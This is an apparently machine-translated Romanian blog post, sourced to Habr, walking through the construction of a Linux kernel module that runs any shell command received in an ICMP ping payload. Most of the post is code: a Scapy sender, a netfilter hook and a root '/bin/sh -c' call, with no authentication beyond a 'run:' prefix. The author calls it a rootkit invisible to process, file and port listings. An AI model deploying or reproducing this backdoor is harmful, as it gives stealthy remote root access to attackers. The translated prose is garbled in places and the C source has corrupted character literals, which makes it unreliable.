Obuz nuclear peste ICMP

Obuz nuclear peste ICMP

TL; DR: Scriu un modul kernel care va citi comenzile din sarcina utilă ICMP și le va executa pe server chiar dacă SSH-ul se blochează. Pentru cei mai nerăbdători, tot codul este github.

Atenție! Programatorii C experimentați riscă să izbucnească în lacrimi de sânge! S-ar putea chiar să greșesc în terminologie, dar orice critică este binevenită. Postarea este destinată celor care au o idee foarte generală despre programarea C și doresc să se uite în interiorul Linux-ului.

În comentariile la primul meu articol a menționat SoftEther VPN, care poate imita unele protocoale „obișnuite”, în special HTTPS, ICMP și chiar DNS. Îmi pot imagina doar primul dintre ei lucrând, deoarece sunt foarte familiarizat cu HTTP(S) și a trebuit să învăț tunelarea prin ICMP și DNS.

Obuz nuclear peste ICMP

Da, în 2020 am aflat că puteți introduce o sarcină utilă arbitrară în pachetele ICMP. Dar mai bine mai târziu decât niciodată! Și din moment ce se poate face ceva în privința asta, atunci trebuie făcut. Deoarece în viața mea de zi cu zi folosesc cel mai des linia de comandă, inclusiv prin SSH, mi-a venit mai întâi în minte ideea unui shell ICMP. Și pentru a asambla un bingo bullshield complet, am decis să-l scriu ca modul Linux într-un limbaj despre care am doar o idee aproximativă. Un astfel de shell nu va fi vizibil în lista de procese, îl puteți încărca în kernel și nu va fi pe sistemul de fișiere, nu veți vedea nimic suspect în lista de porturi de ascultare. În ceea ce privește capacitățile sale, acesta este un rootkit cu drepturi depline, dar sper să îl îmbunătățesc și să-l folosesc ca shell de ultimă instanță atunci când Load Average este prea mare pentru a vă conecta prin SSH și a executa cel puțin echo i > /proc/sysrq-triggerpentru a restabili accesul fără a reporni.

Luăm un editor de text, abilități de programare de bază în Python și C, Google și virtual pe care nu te deranjează să-l pui sub cuțit dacă totul se strică (opțional - local VirtualBox/KVM/etc) și haideți!

Partea clientului

Mi s-a părut că pentru partea de client va trebui să scriu un scenariu cu aproximativ 80 de rânduri, dar au fost oameni amabili care au făcut-o pentru mine toată munca. Codul s-a dovedit a fi neașteptat de simplu, încadrându-se în 10 linii semnificative:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Scriptul are două argumente, o adresă și o sarcină utilă. Înainte de trimitere, sarcina utilă este precedată de o cheie run:, vom avea nevoie de el pentru a exclude pachetele cu sarcini utile aleatorii.

Nucleul necesită privilegii pentru a crea pachete, așa că scriptul va trebui să fie rulat ca superutilizator. Nu uitați să acordați permisiuni de execuție și să instalați scapy în sine. Debian are un pachet numit python3-scapy. Acum puteți verifica cum funcționează totul.

Rularea și lansarea comenzii
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Așa arată în sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Sarcina utilă din pachetul de răspuns nu se modifică.

Modul kernel

Pentru a construi într-o mașină virtuală Debian, veți avea nevoie de cel puțin make и linux-headers-amd64, restul va veni sub formă de dependențe. Nu voi furniza întregul cod în articol, îl puteți clona pe Github.

Configurare cârlig

Pentru început, avem nevoie de două funcții pentru a încărca modulul și pentru a-l descărca. Funcția de descărcare nu este necesară, dar apoi rmmod nu va funcționa modulul va fi descărcat doar când este oprit.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Ce se petrece aici:

  1. Două fișiere antet sunt extrase pentru a manipula modulul în sine și netfilterul.
  2. Toate operațiunile trec printr-un netfilter, puteți seta cârlige în el. Pentru a face acest lucru, trebuie să declarați structura în care va fi configurat cârligul. Cel mai important lucru este să specificați funcția care va fi executată ca un cârlig: nfho.hook = icmp_cmd_executor; Voi ajunge la funcția în sine mai târziu.
    Apoi am setat timpul de procesare pentru pachet: NF_INET_PRE_ROUTING specifică procesarea pachetului atunci când apare pentru prima dată în nucleu. Poate fi folosit NF_INET_POST_ROUTING pentru a procesa pachetul pe măsură ce iese din nucleu.
    Am setat filtrul la IPv4: nfho.pf = PF_INET;.
    Dau cârligului meu cea mai mare prioritate: nfho.priority = NF_IP_PRI_FIRST;
    Și înregistrez structura de date ca cârlig real: nf_register_net_hook(&init_net, &nfho);
  3. Funcția finală scoate cârligul.
  4. Licența este clar indicată, astfel încât compilatorul să nu se plângă.
  5. Funcții module_init() и module_exit() setați alte funcții pentru a inițializa și a termina modulul.

Recuperarea sarcinii utile

Acum trebuie să extragem sarcina utilă, aceasta s-a dovedit a fi cea mai dificilă sarcină. Nucleul nu are funcții încorporate pentru a lucra cu încărcături utile, puteți analiza doar antetele protocoalelor de nivel superior.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Ce se întâmplă:

  1. A trebuit să includ fișiere de antet suplimentare, de data aceasta pentru a manipula antetele IP și ICMP.
  2. Am stabilit lungimea maximă a liniei: #define MAX_CMD_LEN 1976. De ce anume asta? Pentru că compilatorul se plânge de asta! Mi-au sugerat deja că trebuie să înțeleg stiva și heap-ul, într-o zi cu siguranță voi face asta și poate chiar voi corecta codul. Am setat imediat linia care va conține comanda: char cmd_string[MAX_CMD_LEN];. Ar trebui să fie vizibil în toate funcțiile, voi vorbi despre asta mai detaliat în paragraful 9.
  3. Acum trebuie să inițializam (struct work_struct my_work;) structura și conectați-l cu o altă funcție (DECLARE_WORK(my_work, work_handler);). Voi vorbi și despre motivul pentru care acest lucru este necesar în al nouălea paragraf.
  4. Acum declar o funcție, care va fi un cârlig. Tipul și argumentele acceptate sunt dictate de netfilter, ne interesează doar skb. Acesta este un socket buffer, o structură fundamentală de date care conține toate informațiile disponibile despre un pachet.
  5. Pentru ca funcția să funcționeze, veți avea nevoie de două structuri și mai multe variabile, inclusiv doi iteratoare.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Putem începe cu logica. Pentru ca modulul să funcționeze, nu sunt necesare alte pachete decât ICMP Echo, așa că analizăm tamponul folosind funcții încorporate și aruncăm toate pachetele non-ICMP și non-Echo. Întoarcere NF_ACCEPT înseamnă acceptarea pachetului, dar puteți renunța la pachet și prin returnare NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Nu am testat ce se va întâmpla fără a verifica anteturile IP. Cunoștințele mele minime despre C îmi spun că, fără verificări suplimentare, ceva groaznic se va întâmpla. Mă voi bucura dacă mă descurajezi de acest lucru!

  7. Acum că pachetul este exact de tipul de care aveți nevoie, puteți extrage datele. Fără o funcție încorporată, mai întâi trebuie să obțineți un indicator către începutul sarcinii utile. Acest lucru se face într-un singur loc, trebuie să luați indicatorul la începutul antetului ICMP și să îl mutați la dimensiunea acestui antet. Totul folosește structura icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Sfârșitul antetului trebuie să se potrivească cu sfârșitul încărcăturii utile în skb, prin urmare îl obținem folosind mijloace nucleare din structura corespunzătoare: tail = skb_tail_pointer(skb);.

    Obuz nuclear peste ICMP

    Poza a fost furată prin urmare, puteți citi mai multe despre socket-buffer.

  8. Odată ce aveți indicatoare către început și sfârșit, puteți copia datele într-un șir cmd_string, verificați prezența unui prefix run: și, fie aruncați pachetul dacă lipsește, fie rescrieți din nou linia, eliminând acest prefix.
  9. Asta e, acum poți apela un alt handler: schedule_work(&my_work);. Deoarece nu va fi posibilă trecerea unui parametru unui astfel de apel, linia cu comanda trebuie să fie globală. schedule_work() va plasa funcția asociată cu structura transmisă în coada generală a planificatorului de sarcini și va finaliza, permițându-vă să nu așteptați finalizarea comenzii. Acest lucru este necesar deoarece cârligul trebuie să fie foarte rapid. În caz contrar, alegerea dvs. este că nimic nu va începe sau veți intra în panică pentru kernel. Întârzierea este ca moartea!
  10. Gata, poti accepta coletul cu retur corespunzator.

Apelarea unui program în spațiul utilizatorului

Această funcție este cea mai de înțeles. Numele i-a fost dat în DECLARE_WORK(), tipul și argumentele acceptate nu sunt interesante. Luăm linia cu comanda și o trecem în întregime în shell. Lasă-l să se ocupe de parsare, de căutarea binarelor și de orice altceva.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Setați argumentele la o matrice de șiruri argv[]. Voi presupune că toată lumea știe că programele sunt de fapt executate în acest fel și nu ca o linie continuă cu spații.
  2. Setați variabilele de mediu. Am inserat doar PATH cu un set minim de căi, sperând că toate erau deja combinate /bin с /usr/bin и /sbin с /usr/sbin. Alte căi rareori contează în practică.
  3. Gata, hai sa o facem! Funcția kernel call_usermodehelper() acceptă intrarea. cale către binar, matrice de argumente, matrice de variabile de mediu. Aici presupun, de asemenea, că toată lumea înțelege semnificația trecerii căii către fișierul executabil ca argument separat, dar puteți întreba. Ultimul argument specifică dacă să aștepte finalizarea procesului (UMH_WAIT_PROC), începerea procesului (UMH_WAIT_EXEC) sau nu așteptați deloc (UMH_NO_WAIT). Mai sunt ceva UMH_KILLABLE, nu m-am uitat la el.

asamblare

Asamblarea modulelor nucleului se realizează prin intermediul cadrului kernel make-framework. Chemat make în interiorul unui director special legat de versiunea de kernel (definit aici: KERNELDIR:=/lib/modules/$(shell uname -r)/build), iar locația modulului este transmisă variabilei M în argumente. icmpshell.ko și țintele curate folosesc acest cadru în întregime. ÎN obj-m indică fișierul obiect care va fi convertit într-un modul. Sintaxă care reface main.o в icmpshell.o (icmpshell-objs = main.o) nu mi se pare foarte logic, dar așa să fie.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Colectăm: make. Se încarcă: insmod icmpshell.ko. Gata, puteți verifica: sudo ./send.py 45.11.26.232 "date > /tmp/test". Dacă aveți un fișier pe aparat /tmp/test și conține data la care a fost trimisă cererea, ceea ce înseamnă că ați făcut totul bine și eu am făcut totul bine.

Concluzie

Prima mea experiență cu dezvoltarea nucleară a fost mult mai ușoară decât mă așteptam. Chiar și fără experiență de dezvoltare în C, concentrându-mă pe sugestii pentru compilator și rezultatele Google, am putut să scriu un modul de lucru și să mă simt ca un hacker de kernel și, în același timp, un copil de script. În plus, am fost pe canalul Kernel Newbies, unde mi s-a spus să folosesc schedule_work() în loc să sune call_usermodehelper() în interiorul cârligului însuși și l-a făcut de rușine, suspectând pe bună dreptate o înșelătorie. O sută de linii de cod m-au costat aproximativ o săptămână de dezvoltare în timpul liber. O experiență de succes care mi-a distrus mitul personal despre complexitatea copleșitoare a dezvoltării sistemului.

Dacă cineva este de acord să facă o revizuire a codului pe Github, îi voi fi recunoscător. Sunt destul de sigur că am făcut multe greșeli stupide, mai ales când lucrez cu corzi.

Obuz nuclear peste ICMP

Sursa: www.habr.com

Adauga un comentariu